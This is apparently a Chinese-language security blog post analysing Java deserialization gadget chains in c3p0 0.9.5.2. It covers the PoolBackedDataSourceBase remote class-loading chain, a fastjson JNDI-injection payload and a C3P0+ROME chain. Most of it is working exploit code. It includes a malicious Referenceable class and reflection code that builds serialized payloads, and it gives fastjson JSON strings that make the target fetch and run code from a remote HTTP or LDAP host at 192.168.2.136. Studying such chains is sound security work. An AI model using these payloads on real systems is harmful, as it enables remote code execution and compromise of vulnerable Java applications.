一.基础信息

首先肯定是得有包了代码一,这个链要正着讲才好理解也就是从readObject讲,其中会针对几个链进行分析。
<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>
    PoolBackedDataSourceBase.readObject
        ReferenceIndirector.getObject
            ReferenceableUtils.referenceToObject
	BadAttributeValueExpException.readObject
		EqualsBean.hashCode
			EqualsBean.beanHashCode
				ToStringBean.toString
                    JndiRefForwardingDataSource.getConnection
                        JndiRefForwardingDataSource.inner
                            JndiRefForwardingDataSource.dereference

二.基础链分析

PoolBackedDataSourceBase#readObject图一,其中可以看到会调用任意的getObject(),但是必须得实现了
IndirectlySerialized,这里找到了ReferenceIndirector$ReferenceSerialized#getObject图二,接着进入
referenceToObject到达尾链图三,这里是通过动态远程加载字节码。
上面知道大致流程之后,如果不知道远程字节码的话可以看下面代码一。

//动态远程加载字节码
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://192.168.2.136:8888/")});
Class<?> aClass = urlClassLoader.loadClass("Test");
aClass.newInstance();

//创建一个URL类加载器,指向远程服务器
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://192.168.2.136:8888/")});
//从远程服务器加载名为"Test"的类
Class<?> aClass = Class.forName("Test", true, (ClassLoader) urlClassLoader);
//创建这个类的实例
aClass.newInstance();
懂了之后我们看一下PoolBackedDataSourceBase#writeObject图一为什么看这个是因为这个链在进行序列化的时候把我们的恶意参数设置好,
connectionPoolDataSource里面并没有实现Serializable,会走到catch其中执行到了ReferenceIndirector#indirectForm图二,
connectionPoolDataSource我们是可以控制的所以图二传过来的参数必须实现了Referenceable接口并且重写了getReference()方法之后获取到内部类,
并且这个属性默认是ConnectionPoolDataSource接口类型所以也需要实现,最终payload代码一。


import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class Sec implements Referenceable,ConnectionPoolDataSource {

    public String classFactory;
    public String classFactoryLocation;

    public Sec(String classFactory, String classFactoryLocation) {
        this.classFactory = classFactory;
        this.classFactoryLocation = classFactoryLocation;
    }


    @Override
    public Reference getReference() throws NamingException {
        Reference reference = new Reference("aaaa", this.classFactory, this.classFactoryLocation);
        return reference;
    }

    @Override
    public PooledConnection getPooledConnection() throws SQLException {
        return null;
    }

    @Override
    public PooledConnection getPooledConnection(String user, String password) throws SQLException {
        return null;
    }

    @Override
    public PrintWriter getLogWriter() throws SQLException {
        return null;
    }

    @Override
    public void setLogWriter(PrintWriter out) throws SQLException {

    }

    @Override
    public void setLoginTimeout(int seconds) throws SQLException {

    }

    @Override
    public int getLoginTimeout() throws SQLException {
        return 0;
    }

    @Override
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
        return null;
    }
}



PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class<? extends PoolBackedDataSourceBase> aClass1 = poolBackedDataSourceBase.getClass();
Field connectionPoolDataSource = aClass1.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSource.setAccessible(true);
Sec sec = new Sec("Test","http://192.168.2.136:8888/");
connectionPoolDataSource.set(poolBackedDataSourceBase,sec);
serialize(poolBackedDataSourceBase);
unserialize("ser.bin");
虽说这个链很简单但是你不去走一遍很难理解。

三:fastjson链

也不难JndiRefForwardingDataSource#dereference中存在JNDI注入图一,this.getJndiName()是可以控制的,
这里我看了其他师傅的文章在fastjson反序列化的时候通过Setter进行触发了,没错确实setLogWriter可以调用但是都多余,
因为我们知道fastjson在进行反序列化的时候其实在反序列化完成之后有进行了序列化,所以我们只需要在Setter的时候不
出现错误就行如何不出现错误呢?那就不写就完了,在执行了Setter之后会挨个执行Getter会通过字母顺序执行,
第一个执行就会执行到getConnection,那么payload就是代码一,当然了你通过Setter也可以执行代码一下半部分。

String json2 = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiname\":\"ldap://192.168.2.136:1389/lim67h\"}";
JSONObject jsonObject = JSON.parseObject(json2);


String json2 = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiname\":\"ldap://192.168.2.136:1389/lim67h\",\"LoginTimeout\":\"11111111\"}";
JSONObject jsonObject = JSON.parseObject(json2);
System.out.println(jsonObject);

四:C3P0+ROME链

一路跟着学习过来的哥们儿都知道,既然执行了Getter那么不就可以通过ROME链起来了吗?没错确实可以,
这个是我在写文章的时候想到的也是没有看任何文章的,但是我想这应该已经有师傅们都看到了,无所谓刚好想到就写了,
ROME前半部分链我就不讲了不懂可以看往期文章,payload代码一。
//获取类的实例
Class<?> aClass = Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
JndiRefDataSourceBase o = (JndiRefDataSourceBase)declaredConstructor.newInstance();

//获取父类的属性进行反射修改
Method setJndiName = o.getClass().getSuperclass().getDeclaredMethod("setJndiName", Object.class);
setJndiName.setAccessible(true);
setJndiName.invoke(o, "ldap://192.168.2.136:1389/lqgeos");
ToStringBean toStringBean = new ToStringBean(DataSource.class, o);
//通过BadAttributeValueExpException执行getter触发toString
BadAttributeValueExpException badAttr = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttr, toStringBean);
serialize(badAttr);
unserialize("ser.bin");

    public static void serialize(Object obj) throws Exception {
        //序列化
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);

    }
    public static Object unserialize(String name) throws Exception {
        //反序列化
        ObjectInputStream ois= new ObjectInputStream(new FileInputStream(name));
        Object o = ois.readObject();
        return o;
    }